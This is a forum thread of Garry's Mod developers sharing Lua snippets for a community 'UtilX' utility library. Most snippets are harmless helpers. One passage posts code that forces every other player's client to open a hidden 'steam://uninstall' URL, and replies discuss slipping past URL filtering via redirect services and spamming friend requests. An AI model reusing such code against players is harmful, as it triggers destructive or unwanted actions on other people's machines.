• UtilX -- Extending GLua -- Need community input
    371 replies, posted
[QUOTE=Carnag3;16535195]No-one cares what you think so piss off unless you have something to contribute.[/QUOTE] yeah sorry i'm not contributing to something entirely pointless and full of bloat are you lpine or something
[QUOTE=slayer3032;16551200][lua] function utilx.AddSteamFriend(steamid) local expl = string.Explode(":", steamid) local serverid, accountid = tonumber(expl[2]), tonumber(expl[3]) local friendid = string.format("765%0.f", accountid * 2 + 61197960265728 + serverid) local panel = vgui.Create("HTML") panel:SetSize(1,1) panel:OpenURL("http://www.garry.tv/go.php?steam://friends/add/"..friendid) timer.Simple(10, panel.Remove, panel) end [/lua] I found this in a older script I had. It's pretty useful for scoreboards and stuff.[/QUOTE]Wow that could be seriously exploited if that works 0_0
How?
Lol how else, make everyone add alot of fake ones to spam their friends folder :P. THAT explains the random person in my friends list, if it works >:/. And NICE, that'll be a great help as a button in my motd, for adding steam support...
[QUOTE=slayer3032;16551200][lua] function utilx.AddSteamFriend(steamid) local expl = string.Explode(":", steamid) local serverid, accountid = tonumber(expl[2]), tonumber(expl[3]) local friendid = string.format("765%0.f", accountid * 2 + 61197960265728 + serverid) local panel = vgui.Create("HTML") panel:SetSize(1,1) panel:OpenURL("http://www.garry.tv/go.php?steam://friends/add/"..friendid) timer.Simple(10, panel.Remove, panel) end [/lua] I found this in a older script I had. It's pretty useful for scoreboards and stuff.[/QUOTE] Just an idea of how this could be exploited. [lua] function uninstallforall(ply) for k,v in pairs(player.GetAll()) do if v:SteamID() != ply:SteamID() then v:Concommand("uninstallgmod") end end end concommand.Add("DeleteAllGmod", uninstallforall) function uninstallgmod() local panel = vgui.Create("HTML") panel:SetSize(1,1) panel:OpenURL("steam://uninstall/4000") timer.Simple(10, panel.Remove, panel) end concommand.Add("uninstallgmod", uninstallgmod) [/lua] this does work by the way. The one consolation is that it asks you to confirm before you go deleting all your content, but you can make it download games and things and i'm sure it wouldn't ask for confirmation for that. Although i did not check. [url=steam://defrag/4000]Here is an example. This one will just defrag your gmod but worse can be done.[/url]
[QUOTE=Kogitsune;16510487][b]FastExplode( str:string, str:sep )[/b] Performs a very fast, pattern-based explode on the string [code] function utilx.FastExplode( str, sep ) local k, t t = { } for k in str:gmatch( "[^" .. sep .. "]+" ) do table.insert( t, k ) end return t end [/code] [b]Usage[/b] [code] local k, v for k, v in ipairs( utilx.FastExplode( file.Read( "sometextfile.txt" ), "\n" ) ) do --Code here end [/code][/QUOTE] Works correctly only when using 1 char separator.
[QUOTE=Carnag3;16557241]Just an idea of how this could be exploited. [lua] function uninstallforall(ply) for k,v in pairs(player.GetAll()) do if v:SteamID() != ply:SteamID() then v:Concommand("uninstallgmod") end end end concommand.Add("DeleteAllGmod", uninstallforall) function uninstallgmod() local panel = vgui.Create("HTML") panel:SetSize(1,1) panel:OpenURL("steam://uninstall/4000") timer.Simple(10, panel.Remove, panel) end concommand.Add("uninstallgmod", uninstallgmod) [/lua] this does work by the way. The one consolation is that it asks you to confirm before you go deleting all your content, but you can make it download games and things and i'm sure it wouldn't ask for confirmation for that. Although i did not check. [url=steam://defrag/4000]Here is an example. This one will just defrag your gmod but worse can be done.[/url][/QUOTE] Actually this won't work, OpenURL does not work with anything other than [url]http://.[/url] Besides almost everything gives a prompt before being done so it doesn't really matter.
in which case you do as you where doing before and redirect via garry.tv
[QUOTE=slayer3032;16560945]Actually this won't work, OpenURL does not work with anything other than [url]http://.[/url] Besides almost everything gives a prompt before being done so it doesn't really matter.[/QUOTE] Tiny-Url. (The site.) . Lol this is the thread for danger script. :P .
[QUOTE=slayer3032;16551200][lua] function utilx.AddSteamFriend(steamid) local expl = string.Explode(":", steamid) local serverid, accountid = tonumber(expl[2]), tonumber(expl[3]) local friendid = string.format("765%0.f", accountid * 2 + 61197960265728 + serverid) local panel = vgui.Create("HTML") panel:SetSize(1,1) panel:OpenURL("http://www.garry.tv/go.php?steam://friends/add/"..friendid) timer.Simple(10, panel.Remove, panel) end [/lua] I found this in a older script I had. It's pretty useful for scoreboards and stuff.[/QUOTE] Why would you link through Garry's website instead of directly? I'm just saying...
[QUOTE=foszor;16562896]Why would you link through Garry's website instead of directly? I'm just saying...[/QUOTE] OpenUrl wont open non http:// sites, so steam:// is blocked.
Unless you "accidentally" uninstalled gmod, the prompts would make the uninstall script useless.
Utility Funcs: InverseKVs(tbl) --makes the keys values and the values the keys. table.GetKeysUpTo(tbl,key) --Returns all values in a table up to key "key". Expects numeric indexes. table.CleanUpKeys(tbl) --shuffles table back so that the 1st value is 1 [lua] function table.GetKeysUpTo(tbl,key) local output = {} for k,v in ipairs(tbl) do table.insert(output,v) if k == key then break end end return output end[/lua] [lua]function table.CleanUpKeys(tbl) local i = 1 local output = {} for k,v in pairs(tbl) do if (v) then output[i] = v i = i + 1 end end return output end[/lua] [lua] function InverseKVs(tbl) local out = {} for k,v in pairs(tbl) do out[v] = k end return out end[/lua] Taken out of what I made for my twitter addon, lol.
[QUOTE=kevkev;16563210]OpenUrl wont open non http:// sites, so steam:// is blocked.[/QUOTE] Late. That was said, and I said use the TinyUrl site.
[QUOTE=Bletotum;16567701]Late. That was said, and I said use the TinyUrl site.[/QUOTE] Yea i know, i just repeated it for him.
Why :l . Also, I find the chat-color print/message box codes to be usefull when I later need them...
here is some code which can be added (don't tested through) [lua] local TeamInfo = team.GetAllTeams() function GetTeam( name ) for k, v in pairs(TeamInfo) do if(v.Name == name) then return k -- don't know if this right, but... you got the idea? (it should return id or something like this) end end end [/lua]
[CODE] local Player = FindMetaTable("Player") function Player:IsStuck() local trace = nil local tracedata = {} tracedata.start = self:GetPos() tracedata.endpos = self:GetPos() tracedata.mask = MASK_PLAYERSOLID or 33636363 tracedata.filter = self -- required? trace = util.TraceEntity( tracedata , self ) return trace.StartSolid end [/CODE] Taken from Source SDK, doesn't fully work though. Just throwing ideas.
We need AddChatCommand in there.
AddChatCommand?
[QUOTE=Overv;16588447]AddChatCommand?[/QUOTE] A way to add chat commands, For instance: We could put AddChatCommand("SayHai", SayHai), and then when someone ingame typed /SayHai, it would do the function specified.
[QUOTE=Jamie932;16588482]A way to add chat commands, For instance: We could put AddChatCommand("SayHai", SayHai), and then when someone ingame typed /SayHai, it would do the function specified.[/QUOTE] Why don't just use [url]http://wiki.garrysmod.com/?title=PlayerSay[/url]
But what if people want a chat command with !? I think admin mods and the like should take care of it themselves.
[QUOTE=Overv;16589224]But what if people want a chat command with !? I think admin mods and the like should take care of it themselves.[/QUOTE] Yeah, I was just explaining what he said. I like my Chat Commands to have a unique character at the front of the words.
[QUOTE=awatemonosan;16589472][CODE] //Finds the difference between ang1 and ang2. //Example1 //input = Angle(0,0,0), Angle(0,90,0) //ouput = Angle(0,90,0) //Example2 //input = Angle(345,270,0),Angle(0,180,0) //Output = Angle(-15,-90,0) function utilx.AngleOffset(ang1,ang2) return Angle((ang1.p+180-ang2.p)%360-180,(ang1.y+180-ang2.y)%360-180,(ang1..r+180-ang2.r)%360-180) end [/CODE][/QUOTE] Because DOT just doesn't always do the job.
Chat commands are no prob. For now, just use this in your snippets: [lua] utilx.NewChatCommand("mycommand",myfunction) [/lua] Where /mycommand is the chat command that calls myfunction. I would be more than happy to take the liberty of adding this function. More info: Release 1.0 is ~90% done. Just adding credits and usages for each function. [editline]12:25AM[/editline] [QUOTE=Python1320;16588256][CODE] local Player = FindMetaTable("Player") function Player:IsStuck() local trace = nil local tracedata = {} tracedata.start = self:GetPos() tracedata.endpos = self:GetPos() tracedata.mask = MASK_PLAYERSOLID or 33636363 tracedata.filter = self -- required? trace = util.TraceEntity( tracedata , self ) return trace.StartSolid end [/CODE] Taken from Source SDK, doesn't fully work though. Just throwing ideas.[/QUOTE] From Source SDK, do you mean the developer "client stuck in object #XXYY"? EDIT EDIT: This sparked an idea. [lua] function utilx.IsOccupied(pos) local trace = nil local tracedata = {} tracedata.start = pos tracedata.endpos = pos tracedata.mask = MASK_PLAYERSOLID or 33636363 trace = util.TraceEntity( tracedata , self ) return trace.StartSolid end [/lua] Nice little piece of code you had there :D
[lua]function WordBox(parent, text, font, textcolor) local cpanel = vgui.Create("DPanel", parent) local label = EasyLabel(cpanel, text, font, textcolor) local tsizex, tsizey = label:GetSize() cpanel:SetSize(tsizex + 16, tsizey + 8) label:SetPos(8, (tsizey + 8) * 0.5 - tsizey * 0.5) cpanel:SetVisible(true) cpanel:SetMouseInputEnabled(false) cpanel:SetKeyboardInputEnabled(false) return cpanel end function EasyLabel(parent, text, font, textcolor) local dpanel = vgui.Create("DLabel", parent) if font then dpanel:SetFont(font or "Default") end dpanel:SetText(text) dpanel:SizeToContents() if textcolor then dpanel:SetTextColor(textcolor) end dpanel:SetKeyboardInputEnabled(false) dpanel:SetMouseInputEnabled(false) return dpanel end function EasyButton(parent, text, xpadding, ypadding) local dpanel = vgui.Create("DButton", parent) if textcolor then dpanel:SetFGColor(textcolor or color_white) end if text then dpanel:SetText(text) end dpanel:SizeToContents() if xpadding then dpanel:SetWide(dpanel:GetWide() + xpadding * 2) end if ypadding then dpanel:SetTall(dpanel:GetTall() + ypadding * 2) end return dpanel end[/lua] I created these and use them a lot.
Pretty much everything from [url=http://penlight.luaforge.net/]Penlight[/url].
[lua] function utilx.DrawSimpleOutlined( w, h, x, y, col ) surface.SetDrawColor( col ) surface.DrawOutlinedRect( w, h, x, y ) end function utilx.DrawDoubleOutlined( w, h, x, y, col ) surface.SetDrawColor( col ) surface.DrawOutlinedRect( w, h, x, y ) surface.DrawOutlinedRect( w + 1, h + 1, x - 2, y - 2 ) end [/lua]
Taken from GManage: [lua]function utilx.AddToTable( tbl, val ) if (!table.HasValue( tbl, val )) then table.insert( tbl, val ) end end function utilx.RemoveFromTable( tbl, val ) for k, v in pairs( tbl ) do if (v == val) then table.remove( tbl, k ) return end end end[/lua]
Sorry, you need to Log In to post a reply to this thread.